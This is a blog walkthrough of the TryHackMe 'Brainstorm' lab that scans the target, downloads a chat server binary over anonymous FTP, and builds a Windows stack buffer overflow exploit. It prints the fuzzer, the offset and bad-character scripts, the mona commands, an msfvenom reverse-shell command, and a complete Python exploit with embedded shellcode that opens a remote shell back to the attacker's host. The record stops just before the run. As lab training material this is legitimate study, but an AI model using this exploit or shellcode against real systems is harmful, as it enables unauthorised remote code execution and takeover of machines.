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BrainStorm[Tryhackme]
Jul 15, 2021 |
6 minutes read
Categories: walkthrough
Tags: tryhackme, thm, BOF, BufferOverFlows, Windows-Machie
BrainStorm Walkthrough
Scanning
Port Scan
$ nmap -p0-65535 10.10.75.58 -T5 -Pn
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-14 18:09 IST
Nmap scan report for 10.10.75.58
Host is up (0.16s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE
21/tcp open ftp
3389/tcp open ms-wbt-server
9999/tcp open abyss
Nmap done: 1 IP address (1 host up) scanned in 213.85 seconds
How many Port are open? Ans. 6 (even though there are three ports open, the answer is six)
Service Scan
$ nmap -sV -sC -p21,3389,9999 10.10.75.58 -Pn
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-14 18:22 IST
Nmap scan report for 10.10.75.58
Host is up (0.16s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst:
|_ SYST: Windows_NT
3389/tcp open ms-wbt-server?
| ssl-cert: Subject: commonName=brainstorm
| Not valid before: 2021-07-13T12:03:09
|_Not valid after: 2022-01-12T12:03:09
|_ssl-date: 2021-07-14T12:55:31+00:00; 0s from scanner time.
9999/tcp open abyss?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, RPCCheck, RTSPRequest, SSLSessionReq, TerminalServerCookie:
| Welcome to Brainstorm chat (beta)
| Please enter your username (max 20 characters): Write a message:
| NULL:
| Welcome to Brainstorm chat (beta)
|_ Please enter your username (max 20 characters):
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.91%I=7%D=7/14%Time=60EEDE08%P=x86_64-pc-linux-gnu%r(NU
SF:LL,52,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20enter
SF:\x20your\x20username\x20\(max\x2020\x20characters\):\x20")%r(GetRequest
SF:,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20enter\x
SF:20your\x20username\x20\(max\x2020\x20characters\):\x20Write\x20a\x20mes
SF:sage:\x20")%r(HTTPOptions,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(
SF:beta\)\nPlease\x20enter\x20your\x20username\x20\(max\x2020\x20character
SF:s\):\x20Write\x20a\x20message:\x20")%r(FourOhFourRequest,63,"Welcome\x2
SF:0to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20enter\x20your\x20usern
SF:ame\x20\(max\x2020\x20characters\):\x20Write\x20a\x20message:\x20")%r(J
SF:avaRMI,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20e
SF:nter\x20your\x20username\x20\(max\x2020\x20characters\):\x20Write\x20a\
SF:x20message:\x20")%r(GenericLines,63,"Welcome\x20to\x20Brainstorm\x20cha
SF:t\x20\(beta\)\nPlease\x20enter\x20your\x20username\x20\(max\x2020\x20ch
SF:aracters\):\x20Write\x20a\x20message:\x20")%r(RTSPRequest,63,"Welcome\x
SF:20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20enter\x20your\x20user
SF:name\x20\(max\x2020\x20characters\):\x20Write\x20a\x20message:\x20")%r(
SF:RPCCheck,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x2
SF:0enter\x20your\x20username\x20\(max\x2020\x20characters\):\x20Write\x20
SF:a\x20message:\x20")%r(DNSVersionBindReqTCP,63,"Welcome\x20to\x20Brainst
SF:orm\x20chat\x20\(beta\)\nPlease\x20enter\x20your\x20username\x20\(max\x
SF:2020\x20characters\):\x20Write\x20a\x20message:\x20")%r(DNSStatusReques
SF:tTCP,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20ent
SF:er\x20your\x20username\x20\(max\x2020\x20characters\):\x20Write\x20a\x2
SF:0message:\x20")%r(Help,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(bet
SF:a\)\nPlease\x20enter\x20your\x20username\x20\(max\x2020\x20characters\)
SF::\x20Write\x20a\x20message:\x20")%r(SSLSessionReq,63,"Welcome\x20to\x20
SF:Brainstorm\x20chat\x20\(beta\)\nPlease\x20enter\x20your\x20username\x20
SF:\(max\x2020\x20characters\):\x20Write\x20a\x20message:\x20")%r(Terminal
SF:ServerCookie,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPleas
SF:e\x20enter\x20your\x20username\x20\(max\x2020\x20characters\):\x20Write
SF:\x20a\x20message:\x20");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 205.32 seconds
Enumeration
21/tcp open ftp Microsoft ftpd
Lets check whats on FTP
$ ftp 10.10.75.58
Connected to 10.10.75.58.
220 Microsoft FTP Service
Name (10.10.75.58:user): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-29-19 08:36PM <DIR> chatserver
226 Transfer complete.
ftp> cd chatserver
250 CWD command successful.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-29-19 10:26PM 43747 chatserver.exe
08-29-19 10:27PM 30761 essfunc.dll
226 Transfer complete.
ftp> binary
200 Type set to I.
ftp> mget *
mget chatserver.exe? y
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
43747 bytes received in 0.88 secs (48.4136 kB/s)
mget essfunc.dll? y
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
30761 bytes received in 0.83 secs (36.2713 kB/s)
ftp> quit
221 Goodbye.
We got a binary and one supporting dll.
3389/tcp open ms-wbt-server?
RDP useful for bruteforce attack. Lets keep it as last resort
9999/tcp open abyss?
$ nc -nv 10.10.75.58 9999
(UNKNOWN) [10.10.75.58] 9999 (?) open
Welcome to Brainstorm chat (beta)
Please enter your username (max 20 characters): brainstorm
Write a message: hello
Wed Jul 14 06:03:46 2021
brainstorm said: hello
Write a message: hi
Wed Jul 14 06:03:50 2021
brainstorm said: hi
Write a message: hehe
Wed Jul 14 06:03:56 2021
brainstorm said: hehe
Write a message:
Brainstorm chat application is running on port 9999.
From FTP, we got two files lets deploy them in local lab and find BOF’s
BOF Enumeration
Using Spike Tool
BrainStorm.spk
$ cat BrainStorm.spk
s_readline();
s_string("Please enter your username (max 20 characters): ");
s_string_variable("test");
Running the spike tool
$ generic_send_tcp 192.168.30.133 9999 ./BrainStorm.spk 0 0
By Python fuzzing
#!/usr/bin/env python3
import socket, time, sys
ip = "192.168.30.133"
port = 9999
timeout = 5
# For user promt
user = b"brainstorm\r\n"
# For message prompt
message = b"A" * 500
while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
print("Fuzzing with {} bytes".format(len(message)))
s.send(user)
s.recv(1024)
s.send(message)
s.recv(1024)
except:
print("Fuzzing crashed at {} bytes".format(len(message)))
sys.exit(0)
message += b"A"*500
time.sleep(1)
$ ./fuzzy.py
Fuzzing with 500 bytes
Fuzzing with 1000 bytes
Fuzzing with 1500 bytes
Fuzzing with 2000 bytes
Fuzzing with 2500 bytes
Fuzzing crashed at 3000 bytes
checking crash with rough bytes
#!/usr/bin/env python3
import socket
ip = "192.168.30.133"
port = 9999
total_length = 3000
username = b"brainstorm\r\n"
payload = [
b"A"*total_length,
]
payload = b"".join(payload)
s = socket.socket()
s.connect( (ip, port))
s.send(username)
s.recv(1024)
s.send(payload)
s.recv(1024)
s.close()
Finding the offset
$ msf-pattern_create -l 3000
Running the Script
#!/usr/bin/env python3
import socket
ip = "192.168.30.133"
port = 9999
total_length = 3000
user = b"brainstorm\r\n"
offset = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9"
s = socket.socket()
s.connect((ip, port))
s.send(user)
s.recv(1024)
s.send(offset)
s.recv(1024)
s.close()
$ msf-pattern_offset -l 3000 -q 31704330
[*] Exact match at offset 2012
We got the offset as 2012
Lets check whether the offset is correct
#!/usr/bin/env python3
import socket
ip = "192.168.30.133"
port = 9999
user = b"brainstorm\r\n"
total_length = 3000
offset=2012
EIP=b"BBBB"
payload = [ b"A"*offset,
EIP,
b"C"*int(total_length-offset-len(EIP))
]
payload = b"".join(payload)
s = socket.socket()
s.connect( (ip, port))
s.recv(1024)
s.send(user)
s.recv(1024)
s.send(payload)
s.recv(1024)
s.close()
Offset is correct.
Lets find Bad Characters
!mona bytearray -b "\x00"
Running the script.
#!/usr/bin/env python3
import socket
ip = "192.168.30.133"
port = 9999
user = b"brainstorm\r\n"
total_length = 3000
offset=2012
EIP=b"BBBB"
allchars = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
payload = [ b"A"*offset,
EIP,
allchars,
b"C"*int(total_length - offset - len(EIP) - len(allchars))
]
payload = b"".join(payload)
s = socket.socket()
s.connect( (ip, port))
s.recv(1024)
s.send(user)
s.recv(1024)
s.send(payload)
s.recv(1024)
s.close()
Comparing bad chars.
!mona compare -f C:\Program Files (x86)\Immunity Inc\Immunity Debugger\bytearray.bin -a 0242EEC0
we have only one bad char and its null byte
Finding address to jump using EIP to ESP
!mona jmp -r esp -cpb "\x00"
By using one of the address we can jump to ESP using instruction pointer
Exploitation
Creating Payload
$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.30.128 LPORT=9898 -b "\x00" -f py -->> change the ip to 'thm' tun0 ip
Final Payload Script
#!/usr/bin/env python3
import socket
import struct
ip = "192.168.30.133" -> change this target IP
port = 9999
username = b"brainstorm\r\n"
total_length = 3000
offset=2012
NEW_EIP = struct.pack("<I", 0x625014df)
nop_ramp = b"\x90" * 16
#EIP=b"BBBB"
buf = b""
buf += b"\xdb\xd4\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1\x52\xbf\x13"
buf += b"\x7b\x2c\xed\x31\x7a\x17\x03\x7a\x17\x83\xd1\x7f\xce"
buf += b"\x18\x29\x97\x8c\xe3\xd1\x68\xf1\x6a\x34\x59\x31\x08"
buf += b"\x3d\xca\x81\x5a\x13\xe7\x6a\x0e\x87\x7c\x1e\x87\xa8"
buf += b"\x35\x95\xf1\x87\xc6\x86\xc2\x86\x44\xd5\x16\x68\x74"
buf += b"\x16\x6b\x69\xb1\x4b\x86\x3b\x6a\x07\x35\xab\x1f\x5d"
buf += b"\x86\x40\x53\x73\x8e\xb5\x24\x72\xbf\x68\x3e\x2d\x1f"
buf += b"\x8b\x93\x45\x16\x93\xf0\x60\xe0\x28\xc2\x1f\xf3\xf8"
buf += b"\x1a\xdf\x58\xc5\x92\x12\xa0\x02\x14\xcd\xd7\x7a\x66"
buf += b"\x70\xe0\xb9\x14\xae\x65\x59\xbe\x25\xdd\x85\x3e\xe9"
buf += b"\xb8\x4e\x4c\x46\xce\x08\x51\x59\x03\x23\x6d\xd2\xa2"
buf += b"\xe3\xe7\xa0\x80\x27\xa3\x73\xa8\x7e\x09\xd5\xd5\x60"
buf += b"\xf2\x8a\x73\xeb\x1f\xde\x09\xb6\x77\x13\x20\x48\x88"
buf += b"\x3b\x33\x3b\xba\xe4\xef\xd3\xf6\x6d\x36\x24\xf8\x47"
buf += b"\x8e\xba\x07\x68\xef\x93\xc3\x3c\xbf\x8b\xe2\x3c\x54"
buf += b"\x4b\x0a\xe9\xfb\x1b\xa4\x42\xbc\xcb\x04\x33\x54\x01"
buf += b"\x8b\x6c\x44\x2a\x41\x05\xef\xd1\x02\xea\x58\xc7\x52"
buf += b"\x82\x9a\xf7\x74\xf9\x12\x11\x12\xed\x72\x8a\x8b\x94"
buf += b"\xde\x40\x2d\x58\xf5\x2d\x6d\xd2\xfa\xd2\x20\x13\x76"
buf += b"\xc0\xd5\xd3\xcd\xba\x70\xeb\xfb\xd2\x1f\x7e\x60\x22"
buf += b"\x69\x63\x3f\x75\x3e\x55\x36\x13\xd2\xcc\xe0\x01\x2f"
buf += b"\x88\xcb\x81\xf4\x69\xd5\x08\x78\xd5\xf1\x1a\x44\xd6"
buf += b"\xbd\x4e\x18\x81\x6b\x38\xde\x7b\xda\x92\x88\xd0\xb4"
buf += b"\x72\x4c\x1b\x07\x04\x51\x76\xf1\xe8\xe0\x2f\x44\x17"
buf += b"\xcc\xa7\x40\x60\x30\x58\xae\xbb\xf0\x68\xe5\xe1\x51"
buf += b"\xe1\xa0\x70\xe0\x6c\x53\xaf\x27\x89\xd0\x45\xd8\x6e"
buf += b"\xc8\x2c\xdd\x2b\x4e\xdd\xaf\x24\x3b\xe1\x1c\x44\x6e"
shellcode = buf
payload = [ b"A"*offset,
NEW_EIP,
nop_ramp,
shellcode,
b"C"*int(total_length - offset - len(NEW_EIP) - len(nop_ramp) - len(shellcode))
]
payyload = b"".join(payload)
s=socket.socket()
s.connect((ip, port))
s.recv(1024)
s.send(username)
s.recv(1024)
s.send(payyload)
s.close()
Getting Root flag.
By creating payload w.r.t tun0 ip, updating payload in the script and changing the ip in script to target ip.
Let’s run the script
